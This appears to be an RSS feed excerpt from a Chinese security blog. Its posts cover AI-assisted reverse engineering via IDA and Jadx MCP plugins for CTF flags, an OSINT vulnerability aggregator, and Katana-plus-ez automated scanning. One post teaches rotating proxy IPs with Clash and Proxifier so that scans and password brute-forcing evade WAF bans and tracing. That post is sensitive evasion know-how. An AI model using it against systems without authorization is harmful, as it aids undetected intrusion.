<h6>3. <strong>主动问「傻问题」，质疑所有常识</strong></h6>
<p>天才的突破，往往始于质疑“所有人都觉得理所当然的事”。</p>
<p>遇到“大家都这么说”的情况，多问一句“真的是这样吗？为什么？”。</p>
<p>放弃质疑，就是放弃了独立思考。</p>
<h6>4. <strong>做「思维实验」，训练推演能力</strong></h6>
<p>不用实际动手，在脑子里完成完整逻辑推演。</p>
<p>比如“如果我的行业被AI替代，我该怎么生存？”。</p>
<p>爱因斯坦的相对论，最早就源于他16岁的“追光思维实验”。</p>
<h6>5. <strong>把「试错」纳入思考，接受不完美</strong></h6>
<p>天才不是一次就想对，而是在试错和修正中逼近真相。</p>
<p>别怕犯错，更别因怕想错就不敢思考。</p>
<p>每一次错误推演，都是在排除弯路，让你离本质更近一步。</p>
]]></content:encoded>
<slash:comments>6</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/2163/#comments</comments>
</item>
<item>
<title>【技术分享】IDA+Jadx+Trae MCP 配置教程</title>
<link>https://www.52tt.pro/index.php/archives/2136/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/2136/</guid>
<pubDate>Tue, 24 Feb 2026 17:31:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[技术分享]]></category>
<category><![CDATA[人工智能]]></category>
<category><![CDATA[Windows]]></category>
<category><![CDATA[逆向工程]]></category>
<category><![CDATA[Android]]></category>
<description><![CDATA[## 简介
做逆向分析的时候，大家肯定都有这种体验：在 IDA Pro、Jadx 之间来回切，手动复制内存地址、对着代码逐行比对，不仅慢得让人着急，还特别容易出错。而 MCP（Model Context Protocol，模型上下文协议）就是来解决这个问题...]]></description>
<content:encoded><![CDATA[
<h2>简介</h2>
<p>做逆向分析的时候，大家肯定都有这种体验：在 IDA Pro、Jadx 之间来回切，手动复制内存地址、对着代码逐行比对，不仅慢得让人着急，还特别容易出错。而 MCP（Model Context Protocol，模型上下文协议）就是来解决这个问题的！它能把 IDA Pro、Jadx 和 Trae AI 完美连起来，实现工具间的数据互通、操作联动。今天这篇教程就手把手教你配置这套环境，让你告别工具割裂的麻烦，用 AI 一站式搞定逆向分析。</p>
<h2>一、环境准备</h2>
<p>为了避免版本不兼容踩坑，建议大家直接照着下面的环境来搭，亲测稳定不翻车：</p>
<ul>
<li>操作系统：Windows 11</li>
<li>版本控制：Git</li>
<li>运行环境：Python 3.11.8（重点！别用其他版本）</li>
<li>逆向工具：IDA Pro 8.3</li>
<li>AI 客户端：Trae AI</li>
</ul>
<h2>二、Git 安装</h2>
<p>Git 是安装 ida-pro-mcp 的必需品，主要用来从 GitHub 拉取插件源码，步骤超简单：
1.打开浏览器，访问 Git 官网下载 Windows 版本：<a href="https://git-scm.com/install/windows">https://git-scm.com/install/windows</a>
2.双击安装包，一路点“下一步”，默认配置完全够用，不用折腾
3.安装完成后，按 Win+R 输入 cmd 打开命令行，敲入 <code>git --version</code>，如果能显示版本号，就说明装好了</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/3420492763.png" alt="mm1n6yhi.png" /></p>
<p>{abtn icon="fa-git-square" color="#000" href="<a href="https://git-scm.com/install/windows">https://git-scm.com/install/windows</a>" radius="" content="Git 官网"/} </p>
<h2>三、Trae 联动 IDA Pro</h2>
<p>ida-pro-mcp 是连接 IDA Pro 和 MCP 协议的核心，有了它，Trae AI 才能直接调用 IDA 的分析能力，我们一步步来：</p>
<h4>步骤 1：安装 ida-pro-mcp</h4>
<p>首先右键点击“命令提示符”，选择“以管理员身份运行”（权限不够会装失败），然后复制下面的命令敲进去：</p>
<pre><code class="language-bash">pip install --upgrade git+https://github.com/mrexodia/ida-pro-mcp</code></pre>
<p>这里提个醒：如果碰到网络超时、连接重置的情况，就是访问 GitHub 受限了。直接去仓库地址（<a href="https://github.com/mrexodia/ida-pro-mcp）下载">https://github.com/mrexodia/ida-pro-mcp）下载</a> ZIP 包，解压后进入解压目录，执行 <code>pip install .</code> 就能本地安装了。</p>
<h4>步骤 2：安装 IDA 插件</h4>
<p>插件装完后，不用手动拷贝文件，在刚才的管理员命令行里继续敲：</p>
<pre><code class="language-bash">ida-pro-mcp.exe --install</code></pre>
<p>执行成功后，插件会自动放到 IDA Pro 的插件目录里，以后打开 IDA，MCP 服务就会自动加载，特别省心。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/1118714188.png" alt="mm1nkjju.png" /></p>
<h4>步骤 3：Trae AI MCP 配置</h4>
<p>打开 Trae AI，找到 MCP 服务器的配置页面，把下面的 JSON 代码完整复制进去就行：</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/1474226470.png" alt="mm1nn7or.png" /></p>
<h2>四、联动使用流程</h2>
<p>1.如果是使用工具包，第一次运行 IDA 需要以管理员身份运行一次 <code>IDA_Pro_8.3_绿化工具.exe</code> 初始化下 IDA。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/1815307681.png" alt="mm2s333t.png" /></p>
<p>2.然后去 IDA 安装目录里找 <code>idapyswitch.exe</code> 并运行，把 Python 版本切换到 3.11.8，这样 IDA 才能正常加载 MCP 插件。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/1466049526.png" alt="mm1owf35.png" /></p>
<p>3.先打开 IDA Pro，加载你要分析的程序（比如 CrackMe），等底部状态栏显示“Ready”，就说明反汇编完成了。然后点击顶部的「Edit」→「Plugins」→「MCP」，开启 MCP 服务，这时 IDA 就会在 13337 端口等着 Trae 连接了。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/619731501.png" alt="mm1o6ges.png" /></p>
<p>4.切回 Trae AI，在 MCP 配置页面确认一下之前的配置没错，完成连接设置。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/3968509803.png" alt="mm1nxznp.png" /></p>
<p>5.把执行 <code>ida-pro-mcp --config</code> 命令得到的配置信息，手动填到 Trae AI 的 MCP 配置里，确保参数都对得上。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/598345100.png" alt="mm1o0szc.png" /></p>
<h4>MCP 配置</h4>
<pre><code class="language-json">{
  "mcpServers": {
    "ida-pro-mcp": {
      "command": "C:\\Program Files\\Python311\\python.exe",
      "args": [
        "C:\\Program Files\\Python311\\Lib\\site-packages\\ida_pro_mcp\\server.py",
        "--ida-rpc",
        "http://127.0.0.1:13337"
      ]
    }
  }
}</code></pre>
<p>简单说下配置里的关键点，别配错了：</p>
<ul>
<li>command：填你安装 Python 3.11.8 的路径，必须和装插件时的 Python 一致</li>
<li>args：固定写法，不用改，作用是启动 MCP 服务端，连接 IDA 的 13337 端口</li>
<li>保存之后，Trae AI 就会自动尝试连接 IDA 的 MCP 服务了</li>
</ul>
<p>6.在 Trae AI 里，把智能体切换成「Builder with MCP」模式，这个模式才支持调用 IDA 的服务。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/3855342029.png" alt="mm1o8xr2.png" /></p>
<p>7.最后一步，在 Trae AI 的聊天框里输入下面这句话，让 AI 开始工作：</p>
<pre><code class="language-text">我已经用ida打开了一个程序，请用mcp的方式分析并输出flag</code></pre>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/797187370.png" alt="mm1ocrar.png" /></p>
<p>8.稍等一会儿，Trae AI 就会自动读取 IDA 里的代码信息，分析加密逻辑，最后直接把正确的 Flag 给你输出来，全程不用手动操作！</p>
<h2>五、Trae 联动 Jadx</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/4109378468.png" alt="mm1vd1br.png" /></p>
<p>1.Jadx 插件可在线下载；若访问受限，前往仓库手动获取：<a href="https://github.com/zinja-coder/jadx-ai-mcp">https://github.com/zinja-coder/jadx-ai-mcp</a>。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/922626727.png" alt="mm1vicgh.png" /></p>
<h4>手动安装（推荐）</h4>
<p>1.将 <code>jadx-ai-mcp-6.1.0.jar</code>、<code>jadx-mcp-server-v6.1.0.zip</code> 放入 Jadx 根目录，并手动选择安装 <code>jadx-ai-mcp-6.1.0.jar</code>。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/3122225653.png" alt="mm2sjjm0.png" /></p>
<p>2.解压 <code>jadx-mcp-server-v6.1.0.zip</code>，命令行进入解压目录，执行：</p>
<pre><code class="language-bash">pip install -r requirements.txt</code></pre>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/3161099805.png" alt="mm1vlo32.png" /></p>
<h4>MCP 配置</h4>
<pre><code class="language-json">{
  "mcpServers": {
    "jadx-mcp-server": {
      "command": "C:\\PROGRA~1\\Python311\\python.exe",
      "args": [
        "D:\\VoxShadow\\Jdax\\jadx-mcp-server-v6.1.0\\jadx_mcp_server.py"
      ]
    }
  }
}</code></pre>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/3214410954.png" alt="mm1w59jv.png" /></p>
<p>2.按实际路径修改 <code>command</code> 与 <code>args</code>，复制到 Trae AI MCP 配置页（同 IDA 配置方式）。
Trae AI 切换到「Builder with MCP」模式，发送指令：</p>
<pre><code class="language-text">我已经用jadx打开了一个程序，请用mcp的方式分析并输出flag</code></pre>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/1077013085.png" alt="mm1wodxb.png" /></p>
<p>3.AI 自动读取 Jadx 代码、分析逻辑并输出 Flag，也可以进行黑盒代码审计了。</p>
<h2>六、整合包下载</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/683084823.png" alt="mm2rugjx.png" /></p>
<p>用到的软件我都已经打包好了，下载就能按照文章进行配置使用。</p>
<p>{cloud title="IDA+Jadx+Trae工具包" type="bd" url="<a href="https://pan.baidu.com/s/1PP2sbVkREX8gvgKb8h4eHQ?pwd=2085">https://pan.baidu.com/s/1PP2sbVkREX8gvgKb8h4eHQ?pwd=2085</a>" password="2085"/}</p>
]]></content:encoded>
<slash:comments>0</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/2136/#comments</comments>
</item>
<item>
<title>【工具分享】开源情报站 - 公益篇</title>
<link>https://www.52tt.pro/index.php/archives/2031/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/2031/</guid>
<pubDate>Tue, 04 Nov 2025 12:11:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[工具分享]]></category>
<category><![CDATA[Web安全]]></category>
<category><![CDATA[漏洞挖掘]]></category>
<category><![CDATA[渗透测试]]></category>
<category><![CDATA[红队技术]]></category>
<description><![CDATA[## 简介

在渗透测试与网络安全研究中，漏洞情报的获取效率直接影响测试深度与响应速度。这款开源情报工具核心定位为「公开漏洞资源聚合平台」，通过自动化收集互联网上合法公开的漏洞数据（如CNNVD、CVE官方披露信息、开源社区漏洞报告等），为安全从业者提供一...]]></description>
<content:encoded><![CDATA[
<h2>简介</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/11/731476807.png" alt="mhvlsn0s.png" /></p>
<p>在渗透测试与网络安全研究中，漏洞情报的获取效率直接影响测试深度与响应速度。这款开源情报工具核心定位为「公开漏洞资源聚合平台」，通过自动化收集互联网上合法公开的漏洞数据（如CNNVD、CVE官方披露信息、开源社区漏洞报告等），为安全从业者提供一站式资源查询入口，彻底告别手动检索、信息零散的痛点。</p>
<p>工具的核心价值在于「精准聚合+高效利用」：一方面，它自动爬取并整理公开渠道的漏洞详情，包括漏洞名称、危险等级、影响厂商、漏洞描述、参考链接及官方补丁等关键信息，无需用户在多个平台间切换筛选；另一方面，通过结构化展示（分级标注、关键词搜索、分页查询），让渗透测试人员能快速定位目标相关漏洞，降低情报收集的时间成本，更专注于漏洞验证与防护方案落地。</p>
<p>{abtn icon="fa-eercast" color="#000000" href="<a href="https://www.52tt.pro/tools/osint/">https://www.52tt.pro/tools/osint/</a>" radius="" content="OSINT - 开源情报 | 点击进入"/} </p>
<h2>实时漏洞</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/11/4166677137.png" alt="mhvlv9yo.png" /></p>
<p>实时动态更新漏洞信息。</p>
<h2>公益Fofa</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/11/2713212859.png" alt="mhvloktz.png" /></p>
<p>当前是临时版，前端之后会大改，现在常用的 Fofa 搜索语句都保留着，能实时免费查 Fofa 数据。</p>
<h2>更新计划</h2>
<p>{timeline}
{timeline-item color="#19be6b"}
公益Fofa（免费使用）已推出
{/timeline-item}
{timeline-item color="#19be6b"}
全新版本资产测绘系统，更新中 ...
{/timeline-item}
{/timeline}</p>
<h2>免责声明</h2>
<p>仅用于合法授权的渗透测试、网络安全研究与防护演练。
数据源于互联网公开资源，严禁非法攻击行为。
请严格遵守《网络安全法》及相关法规，坚守合规伦理底线。</p>
]]></content:encoded>
<slash:comments>2</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/2031/#comments</comments>
</item>
<item>
<title>【工具分享】天阶藏宝阁 - 元创篇</title>
<link>https://www.52tt.pro/index.php/archives/2018/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/2018/</guid>
<pubDate>Wed, 08 Oct 2025 14:28:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[工具分享]]></category>
<category><![CDATA[Windows]]></category>
<category><![CDATA[逆向工程]]></category>
<category><![CDATA[漏洞挖掘]]></category>
<category><![CDATA[渗透测试]]></category>
<category><![CDATA[红队技术]]></category>
<description><![CDATA[## 由来
在浮世万象的数据洪流之上，有一座隐于虚空的天阶藏宝阁。
传说，那是“发光的神”静坐的所在，代码化作灵气，程序如宝玉悬浮其间。
每一件神器（工具、系统、源码）皆被悉心收录，化作一页灵卷，闪烁着独属于创作者的灵光。  
此阁不仅是展示，更是收藏与传...]]></description>
<content:encoded><![CDATA[
<h2>由来</h2>
<p>在浮世万象的数据洪流之上，有一座隐于虚空的<strong>天阶藏宝阁</strong>。<br />
传说，那是“发光的神”静坐的所在，代码化作灵气，程序如宝玉悬浮其间。<br />
每一件神器（工具、系统、源码）皆被悉心收录，化作一页灵卷，闪烁着独属于创作者的灵光。  </p>
<p>此阁不仅是展示，更是<strong>收藏与传承的容器</strong>。<br />
它象征着「秩序与灵感」的平衡——让代码与艺术并存，让开发者的世界观得以具象化。<br />
在未来，天阶藏宝阁将继续扩展更多形态，化为<strong>次元空间的文库</strong>，收纳万象神器，照亮无数创作者的道路。  </p>
<p>「浮世万象，皆藏于此阁中。
灵光不灭，万物归一。」</p>
<p>—— 发光的神 · 天阶阁主</p>
<p>!!!</p>
<img src="https://www.52tt.pro/tools/works/covers/logo.webp" alt="logo" style="width: 500px; height: auto;">
!!!
<p>{mtitle title="剑指九天，问道苍穹"/}</p>
<h2>神兵图鉴</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2026/02/1670831356.png" alt="mlhjf0ey.png" /></p>
<p>!!!</p>
<style>
.lantern {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  padding: 11px 10px;
  border-radius: 16px;
  color: #2a1c0a;
  font-weight: 900;
  letter-spacing: 0.16em;
  background: radial-gradient(120px 40px at 10% 20%, #fff7d6, #ffe08a 60%, #f3d27a 95%);
  border: 1px solid #e5c56a;
  box-shadow:
    0 0 26px rgba(243,210,122,.38),
    inset 0 0 10px rgba(255,245,210,.7);
  cursor: pointer;
  text-decoration: none;
  transition: all .35s ease;
}
<p>.lantern:hover {
transform: translateY(-3px);
box-shadow:
0 0 40px rgba(243,210,122,.55),
inset 0 0 16px rgba(255,250,220,.9);
background: radial-gradient(120px 40px at 15% 30%, #fff8d9, #ffd76e 60%, #f3d27a 90%);
}</p>
<p>.lantern:active {
transform: translateY(0);
box-shadow:
0 0 18px rgba(243,210,122,.4),
inset 0 0 8px rgba(255,240,190,.7);
}</p>
</style>
<p><a href="/tools/works/" class="lantern">🏮进入藏宝阁</a>
!!!</p>
]]></content:encoded>
<slash:comments>3</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/2018/#comments</comments>
</item>
<item>
<title>【攻防技术】Proxifier + Clash 轮询代理隐藏真实IP</title>
<link>https://www.52tt.pro/index.php/archives/1973/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/1973/</guid>
<pubDate>Wed, 28 May 2025 12:56:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[攻防技术]]></category>
<category><![CDATA[Web安全]]></category>
<category><![CDATA[红队技术]]></category>
<description><![CDATA[## 简介
在当前攻防对抗中，大多数目标单位均配有安全设备，如 WAF、IPS、防火墙等，渗透过程中常常出现 IP 被封现象。为了降低暴露风险，本篇以实战角度出发，结合 Clash 的轮询负载均衡与 Proxifier 联动，实现 IP 动态切换，最大程度...]]></description>
<content:encoded><![CDATA[
<h2>简介</h2>
<p>在当前攻防对抗中，大多数目标单位均配有安全设备，如 WAF、IPS、防火墙等，渗透过程中常常出现 IP 被封现象。为了降低暴露风险，本篇以实战角度出发，结合 Clash 的轮询负载均衡与 Proxifier 联动，实现 IP 动态切换，最大程度隐藏真实身份，避免被溯源。</p>
<h2>负载均衡</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/3494581414.png" alt="mb6013z7.png" /></p>
<h2>配置流程</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/525329789.png" alt="mb60mlsz.png" /></p>
<p>先到设置（Settings）里找到 Parsers 这个选项，点击编辑（Edit）。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/429693006.png" alt="mb60rfnn.png" /></p>
<p>把以下配置填进去，然后进行保存。</p>
<h4>Clash 负载均衡配置</h4>
<pre><code class="language-yaml">parsers:
  - reg: 'Proxy$'
    yaml:
      append-proxy-groups:
        - name: ⚖️ 负载均衡-散列
          type: load-balance
          url: 'http://www.google.com/generate_204'
          interval: 300
          strategy: consistent-hashing
        - name: ⚖️ 负载均衡-轮询
          type: load-balance
          url: 'http://www.google.com/generate_204'
          interval: 300
          strategy: round-robin
      commands:
        - proxy-groups.⚖️ 负载均衡-散列.proxies=[]proxyNames
        - proxy-groups.0.proxies.0+⚖️ 负载均衡-散列
        - proxy-groups.⚖️ 负载均衡-轮询.proxies=[]proxyNames
        - proxy-groups.0.proxies.0+⚖️ 负载均衡-轮询</code></pre>
<p>这段配置就干了两件事：
新增两个 "负载均衡" 分组</p>
<ul>
<li>散列分组：用一致性哈希（consistent-hashing）把请求分给各节点</li>
<li>轮询分组：用轮询（round-robin）依次分给各节点</li>
</ul>
<p>两个分组都会每 300 秒去 <a href="http://www.google.com/generate_204">http://www.google.com/generate_204</a> 测一次可用性。
把现有的所有代理都加到这两个分组里，并且把这两个分组排到代理组列表的最前面。
这样配置后，就可以在用代理 选 "负载均衡-散列" 或 "负载均衡-轮询" 来智能分发流量。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/111489353.png" alt="mb60ui6x.png" /></p>
<p>然后到 Profiles 里设置下节点配置。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/1387702605.png" alt="mb64va4t.png" /></p>
<p>在 URL 最后加上 <code>#Proxy</code>，即可触发 Clash 中对应的 Parsers 规则，添加完成后点击 OK 保存即可。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/1151072896.png" alt="mb64zqwd.png" /></p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/3269524919.png" alt="mb6521jw.png" /></p>
<p>再刷新下就会出现 <code>负载均衡-散列</code> 跟 <code>负载均衡-轮询</code> 选项，这里我先选着轮询配合以下 Proxifier 做演示。 </p>
<h2>工具联动</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/1533186646.png" alt="mb65apbi.png" /></p>
<p>先配置下 Proxifier，找到 Proxy Servers。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/2759966135.png" alt="mb65j8jv.png" /></p>
<p>根据序号步骤操作添加 Clash 代理服务IP跟端口，协议设置socks5，配置好了就点 ok 保存。
<img src="https://www.52tt.pro/usr/uploads/2025/05/37140796.png" alt="1360442328.png" /></p>
<p>配置代理规则，填好了一路保存，这里我指定了 Tscan Plus 渗透测试工具，以下是测试。</p>
<h2>效果对比</h2>
<h4>不用负载均衡</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/937137499.png" alt="2682274861.png" /></p>
<p>可以发现在没有使用负载均衡的情况下，扫描服务器的IP始终保持同一个，而且流量多了很快就被发现封禁。</p>
<h4>使用负载均衡</h4>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/2474172873.png" alt="mb68a5mr.png" /></p>
<p>使用了负载均衡，扫描服务器的IP地址在实时发生变化。（不是扫一次暂停变化，而是一直扫，一直变）</p>
<h2>监听脚本</h2>
<pre><code class="language-python">import socket
from datetime import datetime

HOST = '0.0.0.0'
PORT = 5201

def start_listener():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
        server.bind((HOST, PORT))
        server.listen(5)
        print(f"[√] 正在监听 {HOST}:{PORT} ...")

        while True:
            conn, addr = server.accept()
            ip, port = addr
            now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            print(f"[{now}] [+] 连接来自：{ip}:{port}")
            conn.close()

if __name__ == "__main__":
    start_listener()</code></pre>
<h2>总结</h2>
<h4>轮询（Round-Robin）</h4>
<p><strong>机制说明：</strong>
请求按照顺序分配给不同代理节点。节点越多，切换越频繁。例如有 3 个代理，顺序为 1→2→3→1→2...</p>
<p><strong>渗透应用场景：</strong></p>
<ul>
<li>目录扫描、接口 Fuzz、密码爆破等高频操作</li>
<li>绕过单个 IP 的限频和封锁限制</li>
<li>模拟大规模并发访问</li>
</ul>
<p><strong>特点：</strong></p>
<ul>
<li>每次请求更换 IP，具备较强的防封能力</li>
<li>多节点可实现带宽叠加，提高打点效率</li>
<li>会话状态无法保持，易导致登录状态丢失</li>
<li>IP 波动频繁，容易被风控识别为异常行为</li>
</ul>
<p><strong>常见用途：</strong>
配合测速工具或并发爆破程序使用，可显著提升速度和效果。</p>
<hr />
<h4>一致性哈希（Consistent Hashing）</h4>
<p><strong>机制说明：</strong>
使用哈希算法将请求绑定到特定代理节点，相同域名始终走同一个 IP。节点变化对大多数请求影响较小。</p>
<p><strong>渗透应用场景：</strong></p>
<ul>
<li>需要维持登录态或会话的系统交互操作</li>
<li>模拟真实用户行为，降低风控触发概率</li>
<li>长时间稳定访问目标系统（如后台、管理系统）</li>
</ul>
<p><strong>特点：</strong></p>
<ul>
<li>请求稳定，适合登录类或认证类操作</li>
<li>隐蔽性好，不容易被系统识别为异常用户</li>
<li>IP 固定，无法绕过限速策略</li>
<li>无法叠加带宽，打点效率低于轮询模式</li>
</ul>
<p><strong>常见用途：</strong>
适用于登录后台、提交表单、敏感数据抓取等操作。</p>
<hr />
<h4>策略总结</h4>
<table>
<thead>
<tr>
<th style="text-align: center;">策略</th>
<th style="text-align: center;">适用场景</th>
<th style="text-align: center;">优点</th>
<th style="text-align: center;">缺点</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center;">轮询</td>
<td style="text-align: center;">高频打点、爆破、探测</td>
<td style="text-align: center;">IP 轮换快、防封、效率高</td>
<td style="text-align: center;">会话不连续、易触发风控</td>
</tr>
<tr>
<td style="text-align: center;">哈希</td>
<td style="text-align: center;">登录、维稳、数据交互</td>
<td style="text-align: center;">IP 稳定、隐蔽性好</td>
<td style="text-align: center;">无法绕过限速、带宽不可叠加</td>
</tr>
</tbody>
</table>
<h2>其它</h2>
<p>除了 Proxifier 配合 Clash 的轮询代理机制，以下是常见的隐藏真实 IP 手段，适用于不同攻防场景：</p>
<ol>
<li>
<p><strong>移动网络切换</strong>
通过开启/关闭飞行模式或重新启用手机流量，获取新的公网动态 IP，适用于移动端或笔记本热点环境。</p>
<ul>
<li>优点：快速低成本切换</li>
<li>缺点：依赖运营商分配动态 IP，速度受限</li>
</ul>
</li>
<li>
<p><strong>拔插网卡重拨</strong>
在宽带环境中，通过禁用/启用网卡或拔插网线，触发重新拨号获取新 IP（前提是动态拨号）。</p>
<ul>
<li>优点：操作简单，适合家庭网络</li>
<li>缺点：频繁切换可能无效，部分地区为固定 IP</li>
</ul>
</li>
<li>
<p><strong>公网代理池</strong>
使用公开或自建的高匿代理列表，通过程序自动轮询切换，适合大规模扫描和爆破任务。</p>
<ul>
<li>优点：适用于并发、分布式请求</li>
<li>缺点：不稳定，部分代理已被目标封禁</li>
</ul>
</li>
<li>
<p><strong>VPN / 云主机节点轮换</strong>
租用多个 VPS 或使用支持节点切换的商业 VPN，实现按需更换出口 IP。</p>
<ul>
<li>优点：稳定高效，适合重度任务</li>
<li>缺点：成本较高，配置复杂</li>
</ul>
</li>
<li>
<p><strong>Tor / I2P 等匿名网络</strong>
借助多层加密路由隐藏真实地址，适用于需要高度匿名的通信或探测行为。</p>
<ul>
<li>优点：匿名性强</li>
<li>缺点：延迟高，无法满足高频请求需求</li>
</ul>
</li>
<li>
<p><strong>云函数中转</strong>
利用 Cloudflare Workers、腾讯云函数、Vercel 等平台搭建中转代理，将请求伪装为云服务出口流量。</p>
<ul>
<li>优点：隐蔽性强，易于绕过封禁</li>
<li>缺点：平台限流，需一定配置经验</li>
</ul>
</li>
</ol>
]]></content:encoded>
<slash:comments>3</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/1973/#comments</comments>
</item>
<item>
<title>【工具分享】Katana + EZ 自动化漏洞打点</title>
<link>https://www.52tt.pro/index.php/archives/1984/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/1984/</guid>
<pubDate>Tue, 20 May 2025 11:11:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[工具分享]]></category>
<category><![CDATA[Web安全]]></category>
<category><![CDATA[红队技术]]></category>
<category><![CDATA[黑客工具]]></category>
<description><![CDATA[## 今日分享

Katana 是由 ProjectDiscovery 团队开发的开源命令行 Web 爬虫工具，采用 Go 语言编写，具备高性能、强定制、易集成等特点，专为安全研究、渗透测试与自动化平台设计。它支持静态链接抓取和 JavaScript 动态...]]></description>
<content:encoded><![CDATA[
<h2>今日分享</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/3625665358.png" alt="539645019_after.png" /></p>
<p>Katana 是由 ProjectDiscovery 团队开发的开源命令行 Web 爬虫工具，采用 Go 语言编写，具备高性能、强定制、易集成等特点，专为安全研究、渗透测试与自动化平台设计。它支持静态链接抓取和 JavaScript 动态内容解析，可深入单页应用（SPA）提取隐藏接口、动态 URL 与表单字段，同时具备字段提取、代理支持、多模式运行（标准/无头浏览器）等能力。Katana 输出格式友好，支持 JSON 与标准流，便于与 nuclei、httpx、ez 等工具联动，构建自动化漏洞打点流程。</p>
<h2>工具联动</h2>
<p>我比较推荐这种组合方式：Katana + ez，先通过 Katana 获取爬虫数据，再交由 ez 去验证漏洞，整体流程更全面也更自动化。</p>
<p><strong>推荐理由：</strong> 
Katana：快速、高效，支持 JS 解析和字段提取，能发现隐藏路径、API 接口。
ez：专注于漏洞验证，适合对爬取结果做进一步测试与利用。</p>
<pre><code class="language-go">ez webscan</code></pre>
<p>先启动 ez 的被动扫描。</p>
<pre><code class="language-go">Katana -list urls.txt -proxy http://127.0.0.1:2222</code></pre>
<p>利用 Katana 爬取出的数据代理转发给 ez 进行漏洞扫描。</p>
<p><img src="https://www.52tt.pro/usr/uploads/2025/08/697432113.png" alt="me0s7abx.png" /></p>
<h2>工具下载</h2>
<p>!!!</p>
<div style="max-width: 680px; margin: 60px auto; padding: 40px 30px; background-color: #fff; border: 1px solid #e5e7eb; border-radius: 18px; box-shadow: 0 6px 20px rgba(0,0,0,0.05); font-family: 'Inter', 'Segoe UI', sans-serif;">
<style>
    .link-block {
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 14px 20px;
      border-radius: 12px;
      background-color: #f3f4f6;
      text-decoration: none;
      color: #111;
      font-weight: 500;
      cursor: pointer;
      transition: background 0.2s ease;
    }
<pre><code>.link-block:hover {
  background-color: #e0e0e0;
}

.link-block svg {
  width: 20px;
  height: 20px;
  fill: currentColor;
  margin-right: 12px;
}</code></pre>
</style>
<p style="font-weight: bold; text-align: center; font-size: 26px; color: #111; margin-bottom: 10px;">
   🕷️ Katana 爬虫引擎
  </p>
<p style="text-align: center; font-size: 15px; color: #555; margin-bottom: 35px;">
    由 ProjectDiscovery 团队打造的命令行 Web 爬虫工具，支持 JS 渲染、动态内容识别与字段提取，适用于漏洞挖掘与自动化信息收集。
  </p>
<div style="display: flex; flex-direction: column; gap: 14px;">
    <a class="link-block" href="https://github.com/projectdiscovery/katana" target="_blank" rel="noopener noreferrer">
      <svg viewBox="0 0 24 24" aria-hidden="true">
        <path d="M12 0.297c-6.63 0-12 5.373-12 12 0 5.302 
        3.438 9.8 8.205 11.387.6.113.82-.258.82-.577 
        0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61-.546-1.387-1.333-1.757-1.333-1.757-1.09-.745.084-.729.084-.729 
        1.205.084 1.84 1.236 1.84 1.236 1.07 1.835 2.807 
        1.305 3.495.998.108-.776.418-1.305.762-1.605-2.665-.3-5.467-1.334-5.467-5.933 
        0-1.31.468-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 
        0 0 1.005-.322 3.3 1.23a11.52 11.52 0 013.003-.404c1.02.005 2.045.138 
        3.003.404 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 
        3.176.765.84 1.23 1.91 1.23 3.22 
        0 4.61-2.807 5.625-5.48 5.92.429.372.823 1.103.823 2.222 
        0 1.606-.015 2.898-.015 3.293 
        0 .315.21.694.825.576C20.565 22.092 24 17.592 
        24 12.297c0-6.627-5.373-12-12-12z"/>
      </svg>
      立即前往 GitHub 下载 Katana
    </a>
  </div>
</div>
!!!
]]></content:encoded>
<slash:comments>0</slash:comments>
